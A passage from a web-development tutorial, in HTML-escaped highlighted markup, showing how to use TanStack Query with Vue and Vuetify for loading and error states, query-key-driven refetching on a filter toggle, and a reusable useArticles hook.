&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isPending&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;article, article, article&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;loading&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isPending&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-card&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;Loading...&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-card&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-skeleton-loader&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-alert&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-else-if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isError&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;error&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;error.name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      {{ error.message }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-alert&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list-item&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.title&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        :&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;articleItem.value&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;&amp;#x3C;!-- Article item content --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list-item&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-list&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’re using Vuetify components to create a more engaging loading state with &lt;code&gt;v-skeleton-loader&lt;/code&gt; and a informative error state with &lt;code&gt;v-alert&lt;/code&gt;. Your users will appreciate the polish!&lt;/p&gt;
&lt;p&gt;Notice how our &lt;code&gt;v-for&lt;/code&gt; loop is now directly using &lt;code&gt;data&lt;/code&gt; from the query result. No more manual state management! This is the power of TanStack Query – it gives you the data when it’s ready, and handles all the intermediate states for you.&lt;/p&gt;
&lt;h2 id=&quot;handling-user-interactions&quot;&gt;Handling User Interactions&lt;/h2&gt;
&lt;p&gt;First, let’s add a filter toggle to our component:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-switch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;v-model&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;filterMyArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Show only my articles&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      @&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;change&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;onMyArticlesFilter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;v-switch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;&amp;#x3C;!-- ... rest of the template ... --&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;div&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;template&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { useQuery } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@tanstack/vue-query&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { fetchArticles } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@/services/ContentOps.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;filterMyArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ref&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isPending&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isError&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  queryKey: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;articlesList&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, { filterOnlyMyArticles: filterMyArticles.value }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;queryFn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetchArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, { filterOnlyMyArticles: filterMyArticles.value }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;onMyArticlesFilter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// The query will automatically refetch when filterMyArticles changes!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here’s where the magic happens. We’ve added &lt;code&gt;filterOnlyMyArticles&lt;/code&gt; to our query key. When this value changes, TanStack Query knows it needs to refetch the data. No manual refetching required.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;queryKey&lt;/code&gt; is like a unique identifier for your query. When any part of it changes, TanStack Query assumes the data needs to be refreshed. It’s a simple yet powerful way to handle dynamic queries.&lt;/p&gt;
&lt;p&gt;Alright, we’ve got our query up and running, but let’s make sure we’re following best practices to keep our app slick and performant.&lt;/p&gt;
&lt;h3 id=&quot;organizing-query-functions-and-hooks&quot;&gt;Organizing Query Functions and Hooks&lt;/h3&gt;
&lt;p&gt;As your app grows, you’ll want to keep your queries organized. Here’s a pattern we can follow:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a &lt;code&gt;hooks&lt;/code&gt; folder in your &lt;code&gt;src&lt;/code&gt; directory.&lt;/li&gt;
&lt;li&gt;For each major feature, create a file like &lt;code&gt;useArticles.js&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// src/hooks/useArticles.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { useQuery } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@tanstack/vue-query&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { fetchArticles } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@/services/ContentOps.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;filterOnlyMyArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;useQuery&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    queryKey: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;articlesList&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, { filterOnlyMyArticles }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;queryFn&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: () &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;fetchArticles&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, { filterOnlyMyArticles }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    staleTime: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1000&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now you can use this hook in any component:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;script&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;setup&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { ref } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;vue&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { useArticles } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@/hooks/useArticles&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
